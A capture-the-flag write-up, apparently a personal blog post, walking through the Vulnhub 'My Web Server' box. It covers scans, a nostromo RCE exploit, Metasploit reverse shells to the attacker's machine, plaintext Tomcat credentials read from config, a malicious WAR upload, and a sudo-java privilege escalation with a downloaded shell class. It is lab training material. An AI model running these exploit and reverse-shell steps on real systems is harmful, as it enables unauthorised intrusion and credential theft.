True to my last prediction, I think about six months have passed. Time for some remedial boot to root boxes! This one is called “My Web Server” and you can download it on Vulnhub.

Initial Scan

# Nmap 7.80 scan initiated Mon Apr 27 23:25:47 2020 as: nmap -A -O -p- -vv -oA mywebserver 192.168.56.105
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.105
Host is up, received arp-response (0.00099s latency).
Scanned at 2020-04-27 23:25:49 EDT for 29s
Not shown: 65528 closed ports
Reason: 65528 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:dc:8f:24:51:73:54:bc:87:62:a2:e6:ed:f1:c1:b4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpGu8OROct6WsqJC2pF2llWVZCpNUWgxzu/7Qg/wII3+6NDU+WkbnQ7FkLJjzO8+uROg4GpbM0HlrGyXjFHhv/FbeqJJrE4j08gn6QCcpwRgoB2L5E1OJL5bxtaijryXWic4rifesztbXjiUwmKV2m4+4XVxhxFvn8F/Q0tufy9TFwF34V07z6iU4PyX3bpNMZPnW8yw8+RCZNFbvvKFyMKm4t18wUXpCpqMsa+/ZHPheyiICKoq+LqI/GngOeBTuM92tN8FwGKyKdNsVmbj3/fKxA5z/MQFXKJZr+YtUgoTJsGoNoB8ZiX21hAk1EucPrfufPxtj6CQeVidUS6nSt
|   256 a9:39:a9:bf:b2:f7:01:22:65:07:be:15:48:e8:ef:11 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD6RKxwQyDEIWiCvOoPyNc196icnZuw5yN+elCF1ylhg5SWkiNC4ENQX4pE8cq3k96Yfn3WZPsN5LSn9yBqQuLI=
|   256 77:f5:a9:ff:a6:44:7c:9c:34:41:f1:ec:73:5e:57:bd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGkKJCCZ2wQlS6N171PEVBN+dngA0rYZCBcv1vQx5cTG
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.3.2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Armour – Just another WordPress site
2222/tcp open  http    syn-ack ttl 64 nostromo 1.9.6
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: Radius by TEMPLATED
3306/tcp open  mysql   syn-ack ttl 64 MySQL (unauthorized)
8009/tcp open  ajp13   syn-ack ttl 64 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    syn-ack ttl 64 Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.0.33
8081/tcp open  http    syn-ack ttl 64 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-title: Visualize by TEMPLATED
MAC Address: 08:00:27:CF:C4:A0 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/27%OT=22%CT=1%CU=40764%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5EA7A25B%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Uptime guess: 47.394 days (since Wed Mar 11 13:58:42 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.56.105

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 27 23:26:19 2020 -- 1 IP address (1 host up) scanned in 32.61 seconds

The first thing we can see is that this box lives up to its name. I don’t think I’ve ever seen so many web servers running on a single device. Where to even start? Wordpress has a certain reputation of being easy to crack, but there are a couple of other boxes I’ve been working on that are Wordpress based, so my first inclination was to check out the other ones. I started with Tomcat because the manager interface is always a tempting point of entry, and it’s not uncommon to see admin/admin or tomcat/tomcat as default credentials. Unfortunately, neither of those worked this time, and neither did my quick attempts to brute force it with a couple of smaller password lists.

Looking for other low hanging fruit, I started to run dirb against the various services. Fairly quickly, I stumbled across the following:

kali@kali:~/Documents/vulnhub/my_web_server$ dirb  http://192.168.56.105:2222/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon May 25 12:25:06 2020
URL_BASE: http://192.168.56.105:2222/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.105:2222/ ----
==> DIRECTORY: http://192.168.56.105:2222/assets/
==> DIRECTORY: http://192.168.56.105:2222/cgi-bin/
+ http://192.168.56.105:2222/cgi-bin/ (CODE:200|SIZE:611)
==> DIRECTORY: http://192.168.56.105:2222/icons/
==> DIRECTORY: http://192.168.56.105:2222/images/
+ http://192.168.56.105:2222/index.html (CODE:200|SIZE:4577)

---- Entering directory: http://192.168.56.105:2222/assets/ ----
==> DIRECTORY: http://192.168.56.105:2222/assets/css/
==> DIRECTORY: http://192.168.56.105:2222/assets/fonts/
==> DIRECTORY: http://192.168.56.105:2222/assets/js/

---- Entering directory: http://192.168.56.105:2222/cgi-bin/ ----
+ http://192.168.56.105:2222/cgi-bin/printenv (CODE:200|SIZE:627)

---- Entering directory: http://192.168.56.105:2222/icons/ ----

---- Entering directory: http://192.168.56.105:2222/images/ ----

---- Entering directory: http://192.168.56.105:2222/assets/css/ ----

---- Entering directory: http://192.168.56.105:2222/assets/fonts/ ----

---- Entering directory: http://192.168.56.105:2222/assets/js/ ----

-----------------
END_TIME: Mon May 25 12:25:55 2020
DOWNLOADED: 36896 - FOUND: 3

Checking the printenv output gets us the following

kali@kali:~/Documents/vulnhub/my_web_server$ curl http://192.168.56.105:2222/cgi-bin/printenv
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.56.103
DOCUMENT_ROOT=/var/nostromo/htdocs
REMOTE_PORT=1223
HTTP_USER_AGENT=curl/7.68.0
SERVER_SIGNATURE=<address>nostromo 1.9.6 at 192.168.56.105 Port 2222</address>
SCRIPT_FILENAME=/var/nostromo/htdocs/cgi-bin/printenv
HTTP_HOST=192.168.56.105:2222
REQUEST_URI=/cgi-bin/printenv
SERVER_SOFTWARE=nostromo 1.9.6
PATH=/usr/bin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
[email protected]
SERVER_ADDR=127.0.0.1
PWD=/var/nostromo/htdocs/cgi-bin
SERVER_PORT=2222
SCRIPT_NAME=/cgi-bin/printenv
SERVER_NAME=192.168.56.105:2222

I hadn’t heard of this server before, but the fact that there was a specific version made me think that maybe I should look for some canned exploits, which turned out to be fruitful.

kali@kali:~/Documents/vulnhub/my_web_server$ searchsploit nostromo
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                     |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)                                                                                                               | multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                                                                                                                                                                                         | multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution                                                                                                                | linux/remote/35466.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Ok, so lets fire up metasploit and see if we can get a shell.

msf5 exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.56.105   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    2222             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.103   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)


msf5 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 2 opened (192.168.56.103:4444 -> 192.168.56.105:60450) at 2020-05-25 12:40:20 -0400

Excellent, I love it when a plan comes together. I found python was installed on the system and used it to get a pseudo terminal to make things easier. The first thing I wanted to check was the tomcat config, mostly out of curiosity to see if I could read it, and what the manager passwords were.

daemon@webserver:/usr/bin$ find / -name tomcat 2>/dev/null
find / -name tomcat 2>/dev/null
/opt/tomcat
/usr/local/tomcat
daemon@webserver:/opt/tomcat$ cd /usr/local/tomcat
cd /usr/local/tomcat
daemon@webserver:/usr/local/tomcat$ ls
ls
LICENSE  RELEASE-NOTES  bin   lib   temp     work
NOTICE   RUNNING.txt    conf  logs  webapps
daemon@webserver:/usr/local/tomcat$ cd conf
cd conf
daemon@webserver:/usr/local/tomcat/conf$ cat tomcat-users.xml
cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
        version="1.0">

        <role rolename="manager-gui"/>
        <user username="tomcat" password="@sprot0230sp" roles="manager-gui"/>

        <role rolename="admin-gui"/>
        <user username="admin" password="as3epr04irto" roles="admin-gui"/>
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
daemon@webserver:/usr/local/tomcat/conf$

Up at the top, we have a couple of different roles. In theory, we can use these passwords with metasploit to upload a reverse shell. “But wait”, I hear you saying, “we’ve already got a shell. What good does that do us?”. Aside from checking the tomcat config, I also poked around the file system a bit more to see what I could access, and nothing was jumping out at me. I did a find to get files owned by tomcat, and there seemed to be way more, including a bash_history. This makes me think the system allows the tomcat user to login, or at least to perform tasks on the system that maybe it shouldn’t. Hopefully we can use this new user to pivot.

msf5 exploit(multi/http/tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  @sprot0230sp     no        The password for the specified username
   HttpUsername  tomcat           no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.56.105   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8080             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host


Payload options (java/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.103   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal


msf5 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying SSeL81r9ANFcPzZAz2HhUgNAiMhv...
[*] Executing SSeL81r9ANFcPzZAz2HhUgNAiMhv...
[*] Undeploying SSeL81r9ANFcPzZAz2HhUgNAiMhv ...
[*] Command shell session 4 opened (192.168.56.103:4444 -> 192.168.56.105:60454) at 2020-05-25 13:27:14 -0400

python -c "import pty; pty.spawn('/bin/bash')"
tomcat@webserver:~$ sudo -l
sudo -l
sudo: unable to resolve host webserver: Temporary failure in name resolution
Matching Defaults entries for tomcat on webserver:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomcat may run the following commands on webserver:
    (ALL) NOPASSWD: /usr/lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java

At this point, we have a blatantly clean path to root. We appear to be able to run java as root under the tomcat user, so we sould be able to whip up a quick java shell.

On my local box, I threw together this super quick program:

kali@kali:~/Documents/vulnhub/my_web_server$ cat shell.java
import java.lang.ProcessBuilder;

class Main{
        public static void main(String[] args) {
                try {
                        ProcessBuilder pb = new ProcessBuilder("/bin/sh");
                        pb.inheritIO();
                        pb.start().waitFor();
                }catch(Exception e) {
                        e.printStackTrace();
                }
        }
}

We can quickly compile this and copy the class file to our local web server, and then turn around and fetch it from the web server with wget.

tomcat@webserver:/tmp$ wget http://192.168.56.103/shells/Main.class
wget http://192.168.56.103/shells/Main.class
--2020-05-25 23:03:32--  http://192.168.56.103/shells/Main.class
Connecting to 192.168.56.103:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 628 [application/java-vm]
Saving to: ‘Main.class’

Main.class          100%[===================>]     628  --.-KB/s    in 0s

2020-05-25 23:03:33 (23.1 MB/s) - ‘Main.class’ saved [628/628]

tomcat@webserver:/tmp$ sudo /usr/lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java Main
</lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java Main
sudo: unable to resolve host webserver: Temporary failure in name resolution
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eep2ff0LbLYZrFq
#

I swear to God, I’m going to actually write up some boxes that don’t depend on being able to use sudo for privesc. Totally going to happen. At any rate, this was a fun box. Narrowing down a vulnerable target from all of the avilable services was fun, and needing to pivot in order to complete privilege escalation made things more interesting. I’m working on some other boxes currently, so hopefully I’ll have another write up in less than six months. Maybe.